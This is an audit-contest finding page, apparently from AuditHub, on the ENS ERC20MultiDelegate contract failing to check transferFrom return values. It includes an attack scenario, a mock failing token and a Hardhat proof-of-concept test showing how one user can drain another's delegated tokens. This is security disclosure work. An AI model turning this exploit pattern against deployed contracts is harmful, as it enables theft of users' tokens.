ENS - xAriextz's results

Decentralized naming for wallets, websites, & more.

General Information

Platform: Code4rena

Start Date: 05/10/2023

Pot Size: $33,050 USDC

Total HM: 1

Participants: 54

Period: 6 days

Judge: hansfriese

Id: 294

League: ETH

ENS

Findings Distribution

Researcher Performance

Rank: 6/54

Findings: 1

Award: $1,774.19

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: Dravee

Also found by: J4X, Shogoki, jnforja, nirlin, peakbolt, squeaky_cactus, thekmj, xAriextz

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
duplicate-91

Awards

1774.1935 USDC - $1,774.19

External Links

Lines of code

Transfer from 1 not checked: https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L148 Transfer from 2 not checked: https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L160 Transfer from 3 not checked: https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L170

Vulnerability details

Impact

The transferFrom function in some ERC20 tokens returns false instead of reverting. As in the contract we don't check this, ERC20 tokens may not be transferred, but the ERC1155 balance will get updated. An attacker can use this for increasing his ERC1155 balance without losing ERC20 tokens, which would allow him to steal other users' ERC20 tokens.

Proof of Concept

As stated in the official Ethereum ERC-20 Token Standard: Callers MUST handle false from returns (bool success). Callers MUST NOT assume that false is never returned!. Link: https://eips.ethereum.org/EIPS/eip-20#specification.

Also, in the Discord chat it was stated from the dev that: The primary target for the token is to wrap $ENS. But the audit should consider any ERC20-compliant token that implements ERC20Votes as in-scope.

This is the reason why the contract should check the return value when using transferFrom with the ERC20 token. Even $ENS reverts when the transfer doesn't succeed, other tokens will just return false instead of reverting.

Attack scenario: a user, let's call it Deployer, delegates some tokens to Alice, but the ERC20 transferFrom returns false since the tokens couldn't be sent. Nevertheless, ERC1155 tokens were minted for Deployer. Another user called Ema, also delegates some tokens to Alice and everything goes correctly. The malicious user, Deployer, realices this, so he calls delegateMulti in order to have his tokens reimbursed. As he has ERC1155 balance, the burn will be correctly done and he will receive the ERC20 tokens. When Ema tries to reimburse these token, she won't receive any ERC20 tokens because the contract has no balance, but her ERC1155 tokens will be burnt.

More examples of some issues this will arise: tokens stuck in contracts without being able get them back since ERC1155 tokens were burnt when reimbursing, delegating between proxies, etc.

Here I add a test that represents something similar to the first example I explained. For simplicity, only the first transferFrom will fail. For this to happen, I created a MockToken which is the same as ENSToken contract, with the transferFrom override like this.

function transferFrom( address from, address to, uint256 amount ) public override returns (bool) { if(firstTxMade) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } else { firstTxMade = true; return false; } }

This will allow the Deployer to steal Ema's tokens, making her reimbursement revert. The test can be added to /test/delegatemulti.js, but the token used should be the MockToken instead of the ENSToken. It contains some comments in order to make it easier to follow the flow:

it('PoC no return value checked when calling safeTransferFrom', async () => { const delegatorTokenAmount = await token.balanceOf(deployer); // const customAmount = ethers.utils.parseEther('10000000.0'); // ens // give allowance to multi delegate contract await token.approve(multiDelegate.address, delegatorTokenAmount); // delegate multiple delegates const delegates = [alice]; const amounts = delegates.map(() => delegatorTokenAmount.div(delegates.length) ); await multiDelegate.delegateMulti([], delegates, amounts); // Since the transfer failed, he still owns the tokens const delegatorTokenAmountAfter = await token.balanceOf(deployer); expect(delegatorTokenAmountAfter.toString()).to.equal(delegatorTokenAmount); // Even if no tokens where transferred, the ERC1155 balances where updated for (let delegateTokenId of delegates) { let balance = await multiDelegate.balanceOf(deployer, delegateTokenId); expect(balance.toString()).to.equal( delegatorTokenAmount.div(delegates.length).toString() ); } // Now a random user, let's call it Ema, deletages to alice some tokens await increaseTime(365 * 24 * 60 * 60); const mintAmount = (await token.totalSupply()).div(50); await token.mint(ema.address, mintAmount); await token.connect(ema).approve(multiDelegate.address, mintAmount); await multiDelegate.connect(ema).delegateMulti([], delegates, [mintAmount]); // Since the transfer succeded, ema sent her tokens const emaTokenAmountAfter = await token.balanceOf(ema.address); expect(emaTokenAmountAfter.toString()).to.equal("0"); // Now the deployer can steal the tokens that Ema delegated to Alice // since he has ERC1155 balace, but didn't send any tokens await multiDelegate.delegateMulti(delegates, [], [mintAmount]); expect(await token.balanceOf(deployer)).to.equal(delegatorTokenAmountAfter.add(mintAmount)); // Now Ema cannot take out her tokens await expect(multiDelegate.connect(ema).delegateMulti(delegates, [], [180])).to .revertedWith("VM Exception while processing transaction: reverted with reason string 'ERC20: transfer amount exceeds balance'"); });

Tools Used

Manual review and Hardhat

Check the return value when using safeTransferFrom in ERC20 tokens as required in the standard and revert the operation if it returns a false.

Assessed type

ERC20

#0 - c4-pre-sort

2023-10-12T07:30:06Z

141345 marked the issue as duplicate of #91

#1 - c4-pre-sort

2023-10-12T07:30:12Z

141345 marked the issue as sufficient quality report

#2 - c4-judge

2023-10-23T12:30:54Z

hansfriese changed the severity to 2 (Med Risk)

#3 - c4-judge

2023-10-24T17:11:20Z

hansfriese marked the issue as satisfactory

#4 - c4-judge

2023-10-28T06:23:41Z

hansfriese marked the issue as duplicate of #90

#5 - c4-judge

2023-10-28T06:29:44Z

hansfriese marked the issue as not a duplicate

#6 - c4-judge

2023-10-28T06:29:54Z

hansfriese changed the severity to 3 (High Risk)

#7 - c4-judge

2023-10-28T06:30:08Z

hansfriese marked the issue as duplicate of #91

#8 - c4-judge

2023-10-29T10:13:32Z

hansfriese changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter